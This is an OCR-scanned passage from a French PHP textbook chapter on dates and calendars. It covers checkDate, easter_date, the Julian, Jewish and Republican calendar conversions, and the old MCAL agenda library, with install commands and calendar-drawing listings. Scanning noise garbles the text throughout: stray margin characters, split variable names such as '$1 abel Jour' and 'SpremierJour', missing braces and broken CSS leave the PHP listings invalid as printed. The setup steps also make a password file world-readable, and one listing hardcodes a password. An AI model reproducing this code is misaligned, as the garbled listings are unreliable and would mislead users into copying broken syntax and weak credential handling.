1 i st ($usecl,$secl)=expl ode(" " .microti me ()) ; 

$diff=($secl+$usecl) - ($secO+$usecO) ; 

echo "Temps = $diff secondes<br />"; 



Autres fonctions 

Outre les fonctions permettant de recuperer ou de formater des dates, heures et 
microsecondes, PHP propose la fonction checkDate ( ) qui permet de controler la validite 
d'une date (en tenant compte notamment des annees bissextiles). 



CD I - 



o — . 

03 O 



checkDate () 

Teste la validite de la date. EL to 

co a. 

Syntaxe boolean checkDate(int $mois, int $jour, int $annee) v> £>. 

CD 

$mois Lemois. 
$jour Lejour. 
$annee L'annee. 

retour TRUE si la date existe, FALSE sinon. 
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La fonction localTime ( ) qui permet de recuperer les differents champs d'une date n'est pas 
presentee en detail ici, puisque ses fonctionnalites se retrouvent dans les fonctions presentees 
precedemment. 



8.2. Les dates et calendriers particuliers 

Vous trouverez egalement, avec le langage PHP, quelques fonctions vous permettant de 
determiner, pour chaque annee, des dates particulieres (en l'occurrence celle de Paques), mais 
aussi des fonctions permettant de convertir des dates d'un calendrier a l'autre (gregorien, 
julien, juif, republican!) . 

Pour cela, vous devez faire appel a la bibliotheque calendar. 



Installation 



Sous Windows 

Que ce soit avec l'archive de PHP Group ou avec EasyPHP, la bibliotheque calendar est 
activee par defaut. 



Sous Linux 

L'utilisation de cette bibliotheque necessite d'avoir compile PHP avec l'option 

--enable-calendar . 




Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 



RENVOI 



Verification 



CO 
CD 

CO J2 
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■a c 
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Vous pouvez verifier que le support de la bibliotheque Calendar est effectif en appelant un 
script contenant simplement <?php phpinf o ( ) ; ?> et qui doit afficher : 



Calendar support 



Figure 8.1 : phpinf o{) 



Paques 



Pour connaitre la date correspondant a Paques pour une annee donnee, il suffit de faire appel 

a la fonction easter_date ( ) . 
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easter_date() 

Retourne la date de Paques pour l'annee donnee (ou l'annee courante). 
Syntaxe int easter_date( [i nt $annee]) 

$annee Annee consideree (par defaut, annee courante) entre 1970 et 2037. 

retour Timestamp UNIX de Paques. 

Si, toutefois, vous souhaitez effectuer la meme operation pour une annee situee en dehors de 
la plage de validite du timestamp UNIX (i.e. avant le l er janvier 1970 ou apres 2037), vous devez 
faire appel a easter_days ( ) . 



easter_days() 



Retourne le nombre de jours entre le 21 mars et Paques pour l'annee donnee (ou l'annee 
courante). 

Syntaxe int easter_days ( [i nt $annee]) 

$annee Annee consideree (par defaut, annee courante). 

retour Nombre de jours. 

Listing 8.8 : calendar_01.php 

<?php 

set Local e(LC_TIME, "fr"); 
echo strftime("Cette annee, Paques tombe le %A %d %B<br />", 

easter_date()) ; 
echo strftimeC'En 2001, Paques etait le %A %d %B<br />", 

easter_date(2001)) ; 

// Pour les annees precedant 1970 ou suivant 2037 

// utiliser easter_days 

// La date de reference est le 21 Mars 

$jour = 21; 

$mois = 3; 

$annee = 1969; 

$nbJour = easter_days ($annee) ; 
if ($nbJour > 10) { 
$mois++; 

$jour = $nbJour - 10; 
} else { 

$jour += $nbJour; 

} 

echo "En $annee, Paques c'est le $jour/$moi s<br />"; 

?> 

retourne, en 2002, 
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Cette annee, Piques tombe le dimanche 31 mars 
En 2001, Paques etait le dimanche 15 avril 
En 1969, Paques c'est le 6/4 



Conversion d'une date d'un calendrier a l'autre 

Toutes ces fonctions s'appuient sur une date exprimee dans le calendrier julien (et non le 
calendrier gregorien auquel nous sommes habitues). 

Mais, pour l'instant, commencons par les fonctions de conversion de/vers le timestamp UNIX. 



unixToJDO 

Retourne le nombre de jours du calendrier julien a partir de la date donnee (ou, a defaut, la 
date courante) en timestamp UNIX. 

Syntaxe int unixToJD( [timestamp $date] ) 

$date Date en nombre de secondes depuis le l er janvier 1970. 

retour Nombre de jours du calendrier julien. 



CO 
CD 

CO J2 
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JDToUnixO 



Retourne la date en timestamp UNIX a partir de la date donnee en nombre de jours du 
calendrier julien. 

Syntaxe int JDToUnix(int $dateJul ien) 

$dateJul i en Date en nombre de jours du calendrier julien. 

retour Date en timestamp UNIX. 



Vous trouverez plus d'informations sur ces differents calendriers a I'adresse : 
jg 1 INTERNET http:llwww.bdl.fr/Granpub/Calentlriers.html. 

03 

Voici maintenant les autres fonctions de conversion de calendriers. 



JDToGregorian() 



Retourne une chaine au format "mois/jour/annee" du calendrier gregorien, correspondant au 
nombre de jours donnes dans le calendrier julien. 
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Syntaxe string JDToGregori an (i nt $jour) 

$ j ou r Nombre de jours dans le calendrier julien. 

retour Chaine au format "mois/jour/annee" du calendrier gregorien. 



gregorianToJD() 

Retourne le nombre de jours du calendrier julien correspondant a la date donnee dans le 
calendrier gregorien. 



Syntaxe int gregori anToJD(i nt $mois, int $jour, i nt $annee) 

$mo i s Mois dans le calendrier julien. 

$ j ou r Jour dans le calendrier julien. 

$annee Annee dans le calendrier julien. 

retour Nombre de jours du calendrier julien. 



JDToJewishO 

Retourne une chaine au format "mois/jour/annee" du calendrier juif correspondant au nombre 
de jours donnes dans le calendrier julien. 

Syntaxe string JDToJewi sh (i nt $jour) 

$jour Nombre de jours dans le calendrier julien. 

retour Chaine au format "mois/jour/annee" du calendrier juif. 



jewishToJDQ 



Retourne le nombre de jours du calendrier julien correspondant a la date donnee dans le 
calendrier juif. 



Syntaxe 

$moi s 
$jour 
$annee 
retour 



int jewi shToJD(i nt $mois, int $jour, int $annee) 
Mois dans le calendrier juif. 
Jour dans le calendrier juif. 
Annee dans le calendrier juif. 
Nombre de jours du calendrier julien. 



o — . 

03 O 
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JDToFrench() 

Retourne une chaine au format "mois/jour/annee" du calendrier republicain francais 
correspondant au nombre de jours donnes dans le calendrier julien. 

Syntaxe string JDToFrench (i nt $jour) 

$jour Nombre de jours dans le calendrier julien. 

retour Chaine au format "mois/jour/annee" du calendrier republicain francais. 



frenchToJD() 

Retourne le nombre de jours du calendrier julien correspondant a la date donnee dans le 
calendrier republicain francais (valable pour les dates du 22 septembre 1792 au 22 septembre 
1806 du calendrier gregorien, meme si son utilisation a ete abandonnee le 31 decembre 1805). 



Syntaxe int frenchToJD(i nt $mois, int $jour, int $annee) 

$mo i s Mois dans le calendrier republicain francais. 

$ j our Jour dans le calendrier republicain francais. 

$annee Annee dans le calendrier republicain francais. 

retour Nombre de jours du calendrier julien. 



JDToJulianQ 
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Retourne la date du calendrier julien au format "mois/jour/annee" a partir de la date exprimee 
en nombre de jours. 

Syntaxe string JDToJul i an (i nt $jour) 

$jour Nombre de jours dans le calendrier julien. 

retour Date du calendrier julien au format "mois/jour/annee". 



julianToJDO 

Retourne la date du calendrier julien exprimee en nombre de jours. 

Syntaxe int Jul i anToJD(i nt $mois, int $jour, int $annee) 

$mo i s Mois dans le calendrier julien. 

$jour Jour dans le calendrier julien. 
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$annee Annee dans le calendrier julien. 

retour Nombre de jours. 

Manipulation d'une date dans le calendrier julien 



JDMonthNameQ 



Retourne en toutes lettres (en anglais) le nom du mois dans le calendrier precise. 

Syntaxe string JDMonthName(i nt $dateJul ien, int $calendrier) 

$dateJul i en Date exprimee en nombre de jours du calendrier julien. 

$cal endri er Une des valeurs suivantes : 



retour 



= gregorien (abrege aux trois premieres lettres). 

1 = gregorien. 

2 = julien (abrege aux trois premieres lettres). 

3 = julien. 

4 = juif . 

5 = republicain frangais (uniquement valable pour les dates allant du 22 
septembre 1792 au 22 septembre 1806 du calendrier gregorien). 

Nom du mois. 



JDDayOfWeek() 

Retourne le nom (en anglais) du jour de la semaine ou son numero. 

Syntaxe mixed JDDayOfWeek(int $dateJulien, int $mode) 

$dateJul i en Date exprimee en nombre de jours du calendrier julien. 

$mode Une des valeurs suivantes : 

= numero du jour (1 = dimanche). 

1 = nom du jour. 

2 = nom du jour abrege aux trois premieres lettres. 

retour Numero du jour de la semaine (mode = 0), nom du jour sinon. 

8.3. Les gestionnaires d'evenements 

Jusqu'a l'arrivee de PHP 5, PHP proposait des bibliotheques permettant d'interagir avec des 
gestionnaires d'evenements supportant le protocole ICAP (iCalendar Protocol). 



CD I - 



o — . 

03 O 



cd a. 

CD 

C/3 



449 



Chapitre 8 La gestion des dates et des calendriers 



Si vous utilisez PHP4, il vous est done possible de creer votre propre interface Internet de suivi 
et d'administration de vos agendas. Cette interface vous sera alors accessible depuis n'importe 
quel poste disposant d'un navigateur (et non pas seulement depuis les postes equipes du logiciel 
client de la solution de gestionnaire d'evenements retenue). 

Pour cela, vous devrez utiliser la bibliotheque MCAL (Modular Calendar AccessLibrary). 
Celle-ci, en plus de supporter le protocole ICAP, permet d'utiliser des fichiers locaux comme 
support des donnees. De plus, cette bibliotheque a ete developpee pour etre modulaire ce qui, 
en theorie du moins, lui permet de supporter d'autres protocoles. 




En savoir plus 

Le protocole ICAP est definipar les RFC-2445 "Internet Calendaring and Scheduling 



INTERNET Core Object Specification (iCalendar)" et RFC-2446 "iCalendar 
Transport-Independent Interoperability Protocol (iTIP)" disponibles en anglais awe 
adresses suivantes : 
http://www.ietf.org/rfc/rfc2445.txt 
http:llwww.ietf.org/rfc/rfc2446.txt 

Pour etre utilisee, cette bibliotheque doit au prealable etre recuperee, compilee et integree 
a PHP. 



Installation 

Cette bibliotheque n'est pas disponible sous Windows. 

Sous Linux 



r ^fD Pre-requis 

^ Pour pouvoir compiler cette bibliotheque, ilfaut avoir installe au prealable les outils 
RE MAR DUE ^ e compilation et autres commandes telles que "flex. 



La bibliotheque mcal est composee de deux elements : 
libmcal : la bibliotheque proprement dite ; 

mcaldrivers : les modules de la bibliotheque comprenant les pilotes pour le protocole 
ICAP et ceux pour les fichiers locaux (mstore). 



Ces deux fichiers (disponibles sur le CD-ROM) peuvent etre telecharges a l'adresse 
http://sourceforge.net/projects/libmcal/. 

Apres les avoir copies dans un repertoire donne (ex. : /usr/local/src/lib), decompressez ces deux 
fichiers a l'aide des commandes suivantes : 

# gunzip libmcal-0.7.tar.gz 

# tar xvf 1 ibmcal -0.7. tar 

# gunzip mcaldrivers-0.9.tar.gz 

# tar xvf mcaldrivers-0.9.tar 



Les gestionnaires d'evenements 



Puis, deplacez le contenu de mcaldrivers dans libmcal : 

# mv meal -drivers/* libmcal 

Ensuite, passez a la generation des pilotes mstore et icap : 

# cd libmcal 

# cd mstore 

# make 

# cd .. 

# cd icap 

# make 

# cd .. 

Enfin, passez a la generation de la bibliotheque : 

# chmod +x configure 

# ./configure --wi th-mstore --with-icap 

# make 

Un fichier libmcal.a est alors genere. 

II est maintenant possible de (re)compiler PHP apres avoir ajoute l'option 
"—with-mcal=<chemin vers le repertoire libmcal contenant libmcal. a>" (ex. : — with-mcal=/ 
usr/local/src/lib/libmcal ). 




Vous pouvez consulter le chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 



Initialisation mstore 

Si vous souhaitez utiliser le module mstore (autrement dit utiliser un fichier local 
REM ARQ JE pour stocker vos agendas), il vousfaut d'abord creer un repertoire pour heberger ces 
agendas, ainsi qu'un fichier de mots de passe. Pour cela, il suffit de suivre la 
procedure suivante : 

# mkdir /var/cal endar 

# chmod 1777 /var/cal endar 

# touch /etc/mpasswd 

# chmod a+r /etc/mpasswd 



$APACHE_HOME/bin/htpasswd -b /etc/mpasswd <login> <mot de passe> 



CD 



Q5 



Mstore utilisant un fichier de mots de passe au format identique a celui d 'Apache, S 5' 

vous devez utiliser la commande htpasswd fournie avec Apache pour le generer. = q. 

Vous prendrez soin, ici, de remplacer la variable $apache_home par sa valeur (qui ~ ^ 

powra etre /usr/local/apache, /usr ou autre selon votre configuration). v> £>. 

CD 

C/3 
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Verification 

Vous pouvez verifier que le support de la bibliotheque mcal est effectif en appelant un script 
contenant simplement <?php phpinf o ( ) ; ?> et qui doit afficher : 



meal 



MCAL Support 


enabled 


MCAL Version 


0.6- 20000121 



Figure 8.2 : phpinf o() 



Les fonctions 

II est possible de distinguer deux types de fonctions : celles qui permettent de manipuler les 
dates et celles qui permettent effectivement de manipuler les informations stockees dans les 
agendas. 

Les fonctions de manipulation de dates trouvent, pour la plupart, leur equivalent parmi les 
fonctions proposees par defaut avec PHP. II y a toutefois une petite difference, puisque, 
contrairement aux autres, les fonctions de la bibliotheque mcal sont egalement valables pour 
des dates precedant le l er janvier 1970. 
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mcal_date_valid() 

Teste la validite de la date. 

Syntaxe boolean mcal_date_val id(int $annee, int $mois, int $jour) 

$annee Annee. 
$mois Mois. 
$jour Jour. 

retour TRUE si la date est valide, FALSE sinon. 

Equivalent sans la bibliotheque mcal : 
checkdate($moi s, $jour, $annee) ; 



mcal_time_valid() 

Teste la validite de l'heure. 

Syntaxe boolean mcal_time_val id(int $heure, int $minute, int $seconde) 

$heure Heure. 
$mi nute Minute. 
$seconde Seconde. 
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retour TRUE si l'heure est valide, FALSE sinon. 

Equivalent sans la bibliotheque mcal : 

( ($heure>=0 && $heure<24 ) && ($minute>=0 && $minute<60) 
&& ($seconde>=0 && $seconde<60)) 



mcal_day_of_week() 

Retourne le numero du jour dans la semaine de la date donnee. 

Syntaxe int mcal_day_of_week(int $annee, int $mois, int $jour) 

$annee Annee. 
$mois Mois. 
$jour Jour. 

retour Numero du jour dans la semaine (0 = dimanche, 6 = samedi). En fait, 

des constantes existent MCAL_SUNDAY, MCAL_MONDAY, 

MCAL_TUESDAY, MCAL_THURS DAY, MCAL_FRIDAY, 

MCAL_Saturday. 

Equivalent sans la bibliotheque mcal (pour les dates dans la limite de validite des timestamps) : 

$tab = getdate(mktime(0, 0, 0, $mois, $jour, $annee)); 
return $tab["wday"] ; 



mcal_day_of_year () 

Retourne le numero du jour dans l'annee de la date donnee. 

Syntaxe int mcal_day_of_year (i nt $annee, int $mois, int $jour) 

$annee Annee. po 

$moi s Mois. — £T 



$jour Jour. 

retour Numero du jour dans l'annee (1 = l er janvier, ...). 

Equivalent sans la bibliotheque mcal (pour les dates dans la limite de validite des timestamps) 

$tab = getdate(mktime(0, 0, 0, $mois, $jour, $annee)); 
return $tab["yday"] + 1; 
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CD 
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mcal_date_compare () 

Compare deux dates. 



Syntaxe int mcal_date_compare(int $anneel, int $moisl, int $jourl, int 

$annee2, int $mois2, int $jour2) 

$anneel Annee de la l ere date a comparer. 

$mo i s 1 Mois de la l ere date a comparer. 

$jourl Jour de la l ere date a comparer. 

$annee2 Annee de la 2 e date a comparer. 

$mo i s 2 Mois de la 2 e date a comparer. 

$jour2 Jour de la 2 e date a comparer. 

retour -1 si la l ere date est anterieure a la seconde, si elles sont identiques, 1 
sinon. 



Equivalent sans la bibliotheque mcal (pour les dates dans la limite de validite des timestamps) : 

$diff = mktime(0, 0, 0, $moisl, $jourl, $anneel) - 

mktime(0, 0, 0, $mois2, $jour2, $annee2); 
if ($diff == 0) return 0; 
return $diff>0?l:-l; 



CO 
CD 

CO «2 

-o as 

00 'i_ 

a> -a 

■a c= 

= °> 

o ca 

03 Q3 

cu — 

I 03 



mcal_is_leap_year () 

Teste si l'annee est bissextile. 



Syntaxe bool ean mcal_i s_l eap_year (i nt $annee) 

$annee Annee. 

retour TRUE si l'annee est bissextile, FALSE sinon. 

Equivalent sans la bibliotheque mcal : 
return checkdate(2, 29, $annee); 



mcal_days_in_month () 

Retourne le nombre de jours dans le mois en tenant compte des annees bissextiles. 
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Syntaxe int mcal_days_in_month(int $mois, boolean $bissextile) 

$mois Mois. 

$bi ssexti 1 e Indiquez TRUE s'il s'agit d'une annee bissextile, FALSE sinon. 

retour Nombre de jours dans le mois. 

Equivalent sans la bibliotheque mcal : 

if ($mois == 2) { 
if ($bi ssexti 1 e) { 

return 29; 
} else { 

return 28; 



if (checkdate($mois, 31, 2000)) { 

return 31; 
} else { 

return 30; 



Une utilisation courante de ces fonctions consiste a afficher un calendrier (annuel, mensuel, 
etc.). 
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Figure 8.3 : Calendrier annuel 
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Mars 2002 
Lu. Mi Me, Je, Ve, Sa, Di. 

1 2 3 
4 5 6 7 8 9 10 
11 12 13 14 15 16 17 
18 19 20 21 22 23 24 
25 26 27 28 29 30 31 



Figure 8.4 : 

Calendrier mensuel 
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Ce resultat peut etre obtenu avec le script suivant : 

Listing 8.9 : mcal_01_inc.php 

<?php 

class MCAL_Agenda { 

I** 

* Affiche une annee sous forme de calendrier 

*/ 

function afficheAnnee($annee) 

{ 

$labelMois = array(l => "Janv.", "Fevr.", "Mars", "Avril", 
"Mai", "Juin", "Juil.", "AoQt", 
"Sept.", "Oct.", "Nov.", "Dec."); 

$1 abel Jour = array ("Di . " , "Lu. " , "Ma." , "Me. " , " Je. " , "Ve. " , "Sa. ") ; 

echo "<table eel 1 spaci ng=\"10\">\n" ; 

echo "<trxtd colspan=\"12\" al ign=\"center\">$annee</tdx/tr>\n" ; 

// Affiche les entetes de colonnes (les mois) 
echo "<tr>"; 

for ($mois = 1; $mois <= 12; $mois++) { 
echo "<td>".$labelMois[$mois] ."</td>"; 

} 

echo "</tr>\n"; 

// Complete chaque mois 
echo "<tr>"; 

for ($mois = 1; $mois <= 12; $mois++) { 

// Donne une couleur de fond differente pour les mois 
// pairs et les mois impairs 
if (($mois % 2) == 0) { 



■|j 2 ScssClass = "moisPair"; 

} else { 

53i -a * 

co ^ $cssClass = "moislmpair" 



echo "<td class=\"$cssClass\">\n"; 

echo "<table eel 1 spaci ng=\"0\" eel 1 padding=\"0\">" ; 

// Determine le nombre de jours dans le mois 
// en tenant compte des annees bissextiles 
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$nbJour = mcal_days_in_month($mois,mcal_is_leap_year($annee)) ; 
for ($jour = 1; $jour <= $nbJour; $jour++) { 
echo "<tr>"; 

echo "<td align=\"left\">"; 

// Determine de quel jour il s'agit 
// pour l'afficher en toutes lettres 

echo $1 abel Jour [meal _day_of_week($annee,$moi s ,$jour)] . "</td>" ; 
$cssClass = "date"; 

echo "<td align=\"right\" cl ass=\"$cssCl ass\">" ; 
echo "$jour</td>"; 
echo "</tr>"; 

} 

// Ajoute des blancs en bas de tableau si necessaire 
for ($jour = $nbJour + 1; $jour <= 31; $jour++) { 
echo "<tr><td> </td><td> </tdx/tr>" ; 

} 

echo "</table>\n"; 
echo "</td>"; 

} 

echo "</tr>"; 
echo "</table>\n"; 

} 

I** 

* Affiche un mois sous forme de calendrier 

v 

function affi cheMoi s ($moi s , $annee, $mcal="") 
{ 

$labelMois = array(l => "Janvier", "Fevrier", "Mars", "Avril", 
"Mai", "Juin", "Juillet", "Aout", "Septembre", 
"Octobre", "Novembre", "Decembre"); 

$1 abel Jour = array ( " Lu . " , "Ma . " , "Me . " , " Je . " , " Ve . " , "Sa . " , "Di . ") ; 



// Determine le nombre de jours dans le mois 
// en tenant compte des annees bissextiles 

$nbJours=mcal_days_in_month($mois, mcal_is_leap_year($annee)) ; co 

CD I— 

echo "<table>\n"; =■ <o 

echo "<trxtd colspan=\"4\">$labelMois[$mois]</td>"; 8 g 

echo "<td colspan=\"3\" al ign=\"right\">$annee</tdx/tr>\n" ; S o 

echo "<tr>"; 2> ^ 

for ($i = 0; $i < 7; $i++) { 5; S 

echo "<td>$l abel Jour[$i]</td>"; ™ =■ 

i «" SS. 

) CD 

echo "</tr>\n"; *" 
echo "<tr>"; 

SpremierJour = meal day of week($annee, $mois, 1); 
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// convert! r 0=Dimanche. . .6=Samedi 
// en 0=Lundi . . .6=Dimanche 
SpremierJour = ($premi erJour + 6) % 7; 

// Sauter autant de colonne que necessaire pour atteindre 
// le premier jour de la semaine 
for ($i = 0; $i < SpremierJour; $i++) { 
echo "<tdx/td>"; 

} 

// Puis passer en revue tous les jours du mois 
for ($i = 0; $i < $nbJours; $i++) { 
if (($i + SpremierJour) % 7 == 0) { 

// Retour a la ligne chaque Lundi 

echo "</tr>\n<tr>" ; 

} 

$cssClass = "date"; 

echo "<td align=\"right\" cl ass=\"$cssCl ass\">" ; 
echo ($i+l); 
echo "</td>"; 



Ce script pourra etre appele de la facon suivante (ici, pour afficher les deux types de 
calendrier) : 

Listing 8.10 : mcalOLphp 

<?php 

include("mcal_01_inc.php") ; 

?> 



echo "</tr>\n"; 
echo "</table>\n"; 



?> 




<html> 
<head> 
<styl e> 



moisPair { 

background-color 



IDDDDFF; 



mois Impair { 

background-color 



#9999FF; 



co 



date { 



background-color 



IDDDDFF; 



</style> 

</head> 

<body> 
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<h2>Bibl iotheque MCAL</h2> 
<?php 

$dateCourante = getdate(); 

MCAL_Agenda: :affi cheAnnee($dateCourante["year"] ) ; 

MCAL_Agenda: :affi cheMoi s ($dateCourante["mon"] , $dateCourante["year"] ) ; 

?> 

</body> 
</html> 



Les fonctions d'acces aux agendas 

Comme le veut la logique, pour acceder a un agenda, il faut d'abord se connecter. II existe a ce 

propos trois fonctions : mcal_open ( ) , mcal_popen ( ) , et mcal_reopen ( ) . 



mcal_open() 

Ouvre un calendrier. 

Syntaxe resource mcal_open (stri ng $calendrier, string $uti 1 i sateur, 

string $motDePasse[, int $options]) 

$cal endri er Identifiant du calendrier que vous souhaitez ouvrir. Chaine de la forme 

{serveur/protocole}<proprietaire>calendrier. 

$utili sateur Nom de 1'utilisateur. 

$motDePasse Mot de passe de 1'utilisateur. 

$options Manifestement inutilise. 

retour Retourne un identifiant de connexion, ou FALSE en cas d'echec. 

Cette fonction se decline egalement en mcal_popen ( ) (mais la persistance de la connexion 
n'est pas demontree) et mcal_reopen ( ) (dont le fonctionnement ne semble pas tout a fait 
satisfaisant). II n'est d'ailleurs pas assure que leur developpement soit tout a fait finalise. 

Dans le cas d'une connexion a un calendrier via le protocole mstore, le serveur est 
necessairement local. La chaine d'identification du serveur sera done de la forme 

{ /mstore}<proprietaire>calendrier. 

II est a noter qu'un utilisateur peut se connecter a l'agenda d'une autre personne pour acceder 
a ses informations publiques. D'ou l'utilite possible du champ proprietaire. Toutefois, si ce 
parametre n'est pas precise, e'est le calendrier de 1'utilisateur qui est considere. 

Nous ajouterons done a notre classe MCAL_Agenda la methode suivante : 

Listing 8.11 : mcal_02_inc.php (extrait) 

<?php 



// Extrait de la Classe MCAL 
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class MCAL_Agenda { 

I** 

* Se connecte a 1 'agenda 

* et retourne 1 1 identifiant associe 

7 

function connect() { 

$mcal = mcal_open("{/mstore}biblephp","bib1ephp","pwd") 
or die("La connexion a 1 'agenda a echoue"); 
return $mcal ; 

} 

(...) 

} 

?> 

Une fois toutes les operations effectuees, il sera possible de liberer les ressources en fermant la 
connexion aii calendrier par mcal_close ( ) . 
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mcal_close() 

Ferme la connexion au calendrier. 

Syntaxe boolean mcal_close(resource $idConnexion [, int $options]) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$opti ons Role indetermine. 

retour Retourne FALSE en cas d'echec, TRUE sinon. 

Lecture des evenements 

Une des premieres operations que vous serez amene a faire sera probablement de recuperer la 
liste des evenements que vous avez notes dans l'agenda sur une periode donnee. Pour cela, vous 
devrez faire appel a la fonction mcal_iist_events ( ) . 



mcal_list_events() 

Retourne la liste des evenements intervenant entre deux dates. 

Syntaxe array mcal_l i st_events (resource $idConnexion, int $anneeDebut, 

int $moisDebut, int $jourDebut, int $anneeFin, int $moisFin, 
int $jourFin) 
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$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$anneeDebut Annee de la date de debut de recherche. 

$moi sDebut Mois de la date de debut de recherche. 

$jourDebut Jour de la date de debut de recherche. 

$anneeFi n Annee de la date de fin de recherche. 

$moisFin Moisdeladatedefinde recherche . 

$jourFi n Jour de la date de fin de recherche. 

retour Tableau indexe ayant pour valeurs des entiers correspondant a des 
identifiants d'evenements. 

Cela nous permet deja de creer une fonction (ou plus exactement une methode) entrainant 
l'affichage d'un calendrier avec, en surbrillance, les jours auxquels des evenements sont 
associes. 

Voici done la methode d'affichage d'un calendrier enrichi par cette nouvelle fonctionnalite : 

Listing 8.12 : mcal_02_inc.php (extrait) 

<?php 

// Extrait de la classe MCAL_Agenda 
class MCAL_Agenda { 

// (•••) 

I** 

* Affiche une annee sous forme de calendrier 

* et montre les dates associees a un evenement 

*/ 

function afficheAnnee($annee, $mcal="") 
{ 

$labelMois = array(l => "Janv.", "Fevr.", "Mars", "Avril", 

"Mai", "Juin", "Juil.", "AoQt", 

"Sept.", "Oct.", "Nov.", "Dec."); 
$labelJour = array ("Di . " , "Lu. " , "Ma. " , "Me. " , " Je. " , "Ve. " , "Sa. ") ; 

echo "<table cellspacing=\"10\">\n"; 

echo "<trxtd col span=\"12\" al ign=\"center\">$annee</tdx/tr>\n" ; 

// Affiche les entetes de colonnes (les mois) 
echo "<tr>"; 

for ($mois = 1; $mois <= 12; $mois++) { 
echo "<td>" . $1 abel Moi s [$moi s] . "</td>" ; 

} 

echo "</tr>\n"; 

// Complete chaque mois 
echo "<tr>"; 
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for ($mois = 1; $mois <= 12; $mois++) { 

// Donne une couleur de fond differente pour les mois 
// pairs et les mois impairs 
if (($mois % 2) == 0) { 

$cssClass = "moisPair"; 
} else { 

$cssClass = "moi slmpai r" ; 

} 

echo "<td class=\"$cssClass\">\n"; 

echo "<table eel 1 spaci ng=\"0\" cellpadding=\"0\">"; 

// Determine le nombre de jours dans le mois 
// en tenant compte des annees bissextiles 

$nbJour = mcal_days_in_month($mois, mcal_i s_l eap_year($annee) ) ; 
for ($jour = 1; $jour <= $nbJour; $jour++) { 
echo "<tr>"; 

echo "<td align=\"left\">"; 

// Determine de quel jour il s'agit 
// pour l'afficher en toutes lettres 

echo $1 abel Jour [meal _day_of_week($annee,$moi s ,$jour)] . "</td>" ; 

// A-t-on un evenement lie a cette date ? 
$avecEvenement = FALSE; 
if ($mcal != "") { 

$evenements = mcal_l i st_events ($mcal , 

$annee, $mois, $jour, 
$annee, $mois, $jour); 
if (count ($evenements) >0 ) $avecEvenement = TRUE; 
s-= 

} 
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03 



if ($avecEvenement) { 

$cssClass = "dateEvenement" ; 
} else { 

$cssClass = "date"; 

} 

echo "<td align=\"right\" cl ass=\"$cssCl ass\">" ; 
echo "$jour</td>"; 



= °> echo "</tr>"; 

O 03 . ' 

■■= " 

^03 If Ajoute des blancs en bas de tableau si necessaire 

co «- for ($jour = $nbJour + 1; $jour <= 31; $jour++) { 

echo "<tr><td> </td><td> </tdx/tr>" ; 

} 

echo "</table>\n"; 
echo "</td>"; 

} 

echo "</tr>"; 
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echo "</tabl e>\n" ; 

} 

// (•■•) 

} 

?> 

qui pourra etre appele par : 

Listing 8.13 : mcal_02.php 

<?php 

include("mcal_02_inc.php") ; 

?> 

<html> 
<head> 
<styl e> 
moisPair { 

background-color: #DDDDFF; 

mois Impair { 

background-color: #9999FF; 

date { 

background-color: #DDDDFF; 

dateEvenement { 

background-color: #FF0000; 

</styl e> 

</head> 

<body> 

<h2>Bibl iotheque MCAL</h2> 
<?php 

$mcal = MCAL_Agenda: : connect () ; 

$dateCourante = getdate(); 



CD I - 



MCAL_Agenda: :afficheAnnee($dateCourante["year"] , g- <= 

$mcal); £ » 

MCAL_Agenda: :afficheMois($dateCourante["mon"] , § 

$dateCourante["year"] , a. to 

$mcal ) ; =■ 

?> S5 2. 

</body> g 
</html> 



Le fichier mcal_02.php n'est rien d'autre que mcal_01.php auquel nous avons ajoute un style 
afin de preciser la couleur des dates associees a un evenement et une connexion a l'agenda. 
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Voici un exemple de resultat obtenu (dans les cas d'un evenement mensuel sur toute l'annee et 
d'un evenement hebdomadaire sur les derniers mois). 
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Figure 8.5 : Calendrier annuel avec des evenements 



REMARQUE 



Attention aux evenements recurrents 

Nous aurions pu (comme nous I'avons vu dans des exemples proposes sur Internet) 
eviter un appel a la fonction mcal_l i s t_even t ( ) pour chaque jour, et se contenter 
de I 'appliquer a I 'ensemble de la periode consideree. Le probleme est que, dans ce cas, 
pour les evenements recurrents, nous n' aurions pu calculer leurs differentes dates 
d 'apparition (la fonction mcal_list_event ( ) ne retournant qu'une seule fois 
Videntifiant de I'evenement, quel que soit son nombre d'apparitions sur la periode 
donnee). Cette methode n'est done serieusement envisageable que dans le cas d'un 
agenda ne contenant que des evenements ponctuels. 

Comme vous le constatez, la fonction mcai_list_event ( ) ne retourne qu'une liste 
d'identifiants, mais pas le descriptif des evenements. Pour cela, vous devez faire appel (pour 
chaque identifiant) a la fonction mcal_f etch_event ( ) . 
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mcal_fetch_event () 



Retourne les proprietes d'un evenement. 



$idConnexion 
$idEvenement 
$opti ons 



Syntaxe 



object mcal_fetch_event(resource $idConnexion, int 
$i dEvenement [, int $options]) 

Identifiant de connexion tel que retourne par mcal_open ( ) . 
Identifiant de l'evenement. 



Manifestement inutilise. 



retour 



Objet evenement. 



Les proprietes d'un evenement sont done retournees sous la forme d'un objet. 
Cet objet possede les attributs publics suivants: 

id (int) : identifiant de l'evenement ; 

public (boolean) : true si l'evenement est public, false s'il est prive ; 
title (string) : nom de l'evenement ; 

category (string) : chaine de caracteres libre destinee a indiquer la categorie de 
l'evenement ; 

description (string) : description de l'evenement ; 

attrlist (array) : tableau associatif des attributs personnalises (attribut => valeur) ; 

start (objet date et heme) : date de debut (de la premiere occurrence) de l'evenement ; 

end (objet date et heme) : date de fin (de la premiere occurrence) de l'evenement ; 

recur_type (int) : type de frequence pouvant avoir une des valeurs mcal_recur_none 
(ponctuelle), mcal_recur_daily (frequence exprimee en jours), mcal_recur_weekly 
(frequence exprimee en semaines), mcal_recur_monthly_mday (frequence exprimee en 
mois), mcal_recur_monthly_wday (frequence exprimee en mois, basee sur le jour de la 
semaine), mcal_recur_yearly (frequence exprimee en annees). 

recur_interval (int) : frequence 1 (jour/semaine/mois/annee) sur recur_interval (ex 

. : un jour sur deux si recur_type = MCAL_RECUR_DAI:ly et recur_interval = 2) ; 

r ecur_data (int) : jours de la semaine pendant lesquels l'evenement a lieu (si recur_type 
= mcal_recur_weekly). Cette valeur est la somme des valeurs suivantes : l = dimanche, 
2 = lundi, 4 = mardi, 8 = mercredi, 16 = jeudi, 32 = vendredi, 64 = samedi). 

recur_enddate (objet date et heme) : date a laquelle l'evenement recurrent s'arrete ; 

